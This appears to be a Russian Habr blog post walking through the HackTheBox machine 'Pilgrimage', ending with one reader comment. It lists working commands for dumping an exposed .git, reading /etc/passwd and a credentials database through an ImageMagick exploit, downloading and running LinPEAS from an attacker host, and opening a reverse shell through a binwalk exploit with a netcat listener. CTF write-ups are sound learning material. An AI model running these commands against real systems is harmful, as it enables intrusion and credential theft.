Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security! Сегодня пройдем с вами Linux-машину на HackTheBox под названием Pilgrimage.
![](https://habrastorage.org/getpro/habr/upload_files/a7f/313/d8f/a7f313d8f663734b4cbae51583f10907.png)
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.
Сканирование и разведка
Для обнаружения активных сервисов просканируем машину с помощью Nmap:
nmap -sC -sV -p- -T4 10.10.11.219
![](https://habrastorage.org/getpro/habr/upload_files/80f/526/532/80f5265323dc6372b2c1696d86c6cd4f.png)
На машине активны только две службы: ssh и http. Добавим ip-адрес машины в /etc/hosts
и попробуем зайти на веб-страницу:
10.10.11.219 pilgrimage.htb
![](https://habrastorage.org/getpro/habr/upload_files/84a/ddd/5e7/84addd5e74f2e53c81b90e7197655616.png)
Сервис для загрузки изображений. На первый взгляд вроде ничего примечательного. Попробуем запустить dirsearch
для поиска интересных директорий:
dirsearch -u http://pilgrimage.htb
![](https://habrastorage.org/getpro/habr/upload_files/b4a/b96/963/b4ab969631dc0476dc0e7b2bbaa3dacf.png)
Заметим среди найденных директорий /.git
. Выкачаем все файлы с помощью утилиты git-dumper:
python3 git_dumper.py http://pilgrimage/.git ~/pilgrimage.htb
![](https://habrastorage.org/getpro/habr/upload_files/5ad/982/add/5ad982add721d420572b9f1d2e606e32.png)
Среди содержимого будут находится следующие файлы:
![](https://habrastorage.org/getpro/habr/upload_files/d7d/d02/a24/d7dd02a244d8f1e527d3354a00622e82.png)
Точка входа
Заметим утилиту magick, которая является обработчиком изображений. Запустим ее, чтобы узнать версию:
![](https://habrastorage.org/getpro/habr/upload_files/609/225/21b/60922521b0709784cf45961523d91d0d.png)
Погуглив, найдем эксплойт для этой версии magick, который позволяет читать содержимое файловой системы. Скачаем и запустим эксплойт:
python3 generate.py -f "/etc/passwd" -o exploit.png
![](https://habrastorage.org/getpro/habr/upload_files/a21/277/b4e/a21277b4ea5619728621ab0bc9fac045.png)
После того как мы сгенерировали картинку, загрузим ее на веб-сервисе. Теперь, чтобы увидеть результат работы эксплойта нам нужно скачать наше изображение. Через Burp Suite отследим в какую директорию попадают все загруженные изображения:
![](https://habrastorage.org/getpro/habr/upload_files/8e0/5a8/6c9/8e05a86c9a956d99b892542fa04280ee.png)
Воспользуемся wget
, чтобы скачать изображение:
wget http://pilgrimage.htb/shrunk/654a5d9ea01d4.png
![](https://habrastorage.org/getpro/habr/upload_files/0fe/758/6f4/0fe7586f41fba3dd726a1ca45469c295.png)
Достанем содержимое с помощью утилиты identify
:
identify -verbose 654a5d9ea01d4.png
Среди всех данных об изображении увидим закодированный в hex текст. Поместим его в текстовый файл и раскодируем с помощью xxd
:
cat hex.txt | xxd -r -p
![](https://habrastorage.org/getpro/habr/upload_files/801/c4a/a74/801c4aa74bf9498f63e2378f9efc12dd.png)
Эксплойт действительно работает! Как же нам воспользоваться этим, чтобы достать полезные нам данные? Просматривая файлы, которые мы выкачивали с помощью git-dumper, обнаружим базу данных:
![](https://habrastorage.org/getpro/habr/upload_files/36d/3c8/aab/36d3c8aab84f145faee1edae5f3dac58.png)
Вместо /etc/passwd
укажем директорию с базой данных:
python3 generate.py -f "/var/db/pilgrimage" -o sql.png
![](https://habrastorage.org/getpro/habr/upload_files/368/8cb/6b5/3688cb6b56dbf33a2f9a3f5e87ae916c.png)
Также загрузим изображение на сайт, выгрузим его с wget
и просмотрим содержимое:
![](https://habrastorage.org/getpro/habr/upload_files/334/e31/344/334e31344f1d8c5aea96e94a7e571ef3.png)
Пользователя Emily мы уже видели ранее. А это вероятно всего креды для ssh. Чтобы удостовериться в этом, попробуем подключиться к машине:
ssh emily@10.10.11.219
![](https://habrastorage.org/getpro/habr/upload_files/4b1/1ff/301/4b11ff301f5bcaa8be3240572c34b6a1.png)
Успешно! Здесь и будет лежать флаг пользователя user.txt.
Повышение привилегий
Для обнаружения возможных путей повышения привилегий воспользуемся утилитой LinPEAS. Для доставки на машину также воспользуемся python3 http.server
и wget
:
python3 -m http.server 80
wget http://10.10.16.44/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
![](https://habrastorage.org/getpro/habr/upload_files/f07/3f6/ddf/f073f6ddf7b04c126b86d2f35d7d1037.png)
Просмотрев все подсвеченные файлы и директории, не обнаружим ничего интересного. Однако увидим файл с примечательным названием malwarescan.sh. Посмотрим его содержимое:
![](https://habrastorage.org/getpro/habr/upload_files/e76/3f2/f22/e763f2f22d9af321b167652267fec4b4.png)
Даный скрипт обрабатывает файлы при помощи утилиты binwalk. Запустим ее, чтобы посмотреть версию инструмента:
![](https://habrastorage.org/getpro/habr/upload_files/2fb/bb3/0ea/2fbbb30ea89b15721a2da245d95a2b13.png)
Под данную версию есть эксплойт, позволяющий выполнить удаленное исполнение кода.
python3 51249.py image.png 10.10.16.44 8000
В качестве параметров указываем используемое изображение, адрес нашей машины и порт, с которого мы будем прослушивать соединение.
Сохраненное изображение также перекидываем с помощью wget
:
wget http://10.10.16.44/binwalk_exploit.png
Запустим netcat
и скопируем изображение в /var/www/pilgrimage.htb/shrunk/
:
nc -lvnp 8000
cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/exploit.png
![](https://habrastorage.org/getpro/habr/upload_files/26b/08d/39b/26b08d39b50fb1c92ae1c7604331bf01.png)
Машина пройдена!
NutsUnderline
то есть если кого то не угораздило сделать доступной папку .git дальше можно было бы не читать?